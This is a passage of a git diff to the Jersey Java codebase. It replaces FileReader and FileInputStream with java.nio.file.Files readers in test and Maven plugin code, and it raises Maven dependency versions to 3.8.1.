+++ b/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java
@@ -23,8 +23,9 @@
 import org.codehaus.plexus.util.xml.pull.XmlPullParserException;
 
 import java.io.File;
-import java.io.FileReader;
 import java.io.IOException;
+import java.io.Reader;
+import java.nio.file.Files;
 import java.util.Collections;
 import java.util.List;
 import java.util.Properties;
@@ -115,7 +116,7 @@
 
     private static Model getModelFromFile(File file) throws IOException, XmlPullParserException {
         MavenXpp3Reader mavenReader = new MavenXpp3Reader();
-        try (FileReader fileReader = new FileReader(file)) {
+        try (Reader fileReader = Files.newBufferedReader(file.toPath())) {
             Model model = mavenReader.read(fileReader);
             return model;
         }
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java
index 6cda528..fe33742 100644
--- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/NoticeFilesTest.java
@@ -24,8 +24,8 @@
 
 import jakarta.ws.rs.core.MediaType;
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
+import java.nio.file.Files;
 import java.util.LinkedList;
 import java.util.List;
 import java.util.StringTokenizer;
@@ -154,7 +154,7 @@
     }
 
     private String getFile(File path) throws IOException {
-        return ReaderWriter.readFromAsString(new FileInputStream(path), MediaType.TEXT_PLAIN_TYPE);
+        return ReaderWriter.readFromAsString(Files.newInputStream(path.toPath()), MediaType.TEXT_PLAIN_TYPE);
     }
 
     private String removeUnnecessary(String dependency) {
diff --git a/tools/jersey-doc-modulelist-maven-plugin/pom.xml b/tools/jersey-doc-modulelist-maven-plugin/pom.xml
index b316d42..53df1f1 100644
--- a/tools/jersey-doc-modulelist-maven-plugin/pom.xml
+++ b/tools/jersey-doc-modulelist-maven-plugin/pom.xml
@@ -108,7 +108,7 @@
 
     <properties>
         <java.version>1.8</java.version>
-        <maven.version>3.6.3</maven.version>
+        <maven.version>3.8.1</maven.version>
         <maven.shared.version>3.0.1</maven.shared.version>
     </properties>
 </project>
diff --git a/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java b/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java
index f284074..d81fce3 100644
--- a/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java
+++ b/tools/jersey-doc-modulelist-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/GenerateJerseyModuleListMojo.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,10 +28,11 @@
 import org.apache.maven.project.MavenProject;
 
 import java.io.BufferedReader;
+import java.io.File;
 import java.io.FileNotFoundException;
-import java.io.FileReader;
 import java.io.IOException;
 import java.io.PrintWriter;
+import java.nio.file.Files;
 import java.util.Collections;
 import java.util.Comparator;
 import java.util.HashMap;
@@ -314,7 +315,7 @@
     }
 
     public String readFile(String fileName) throws IOException {
-        BufferedReader reader = new BufferedReader(new FileReader(fileName));
+        BufferedReader reader = Files.newBufferedReader(new File(fileName).toPath());
         String s;
         StringBuilder sb = new StringBuilder();
         while ((s = reader.readLine()) != null) {
diff --git a/tools/jersey-release-notes-maven-plugin/pom.xml b/tools/jersey-release-notes-maven-plugin/pom.xml
index 195212a..e1f8091 100644
--- a/tools/jersey-release-notes-maven-plugin/pom.xml
+++ b/tools/jersey-release-notes-maven-plugin/pom.xml
@@ -79,7 +79,7 @@
         <dependency>
             <groupId>org.apache.maven</groupId>
             <artifactId>maven-compat</artifactId>
-            <version>3.6.0</version>
+            <version>3.8.1</version>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -127,6 +127,6 @@
 
     <properties>
         <java.version>1.8</java.version>
-        <maven.version>3.6.2</maven.version>
+        <maven.version>3.8.1</maven.version>
     </properties>
 </project>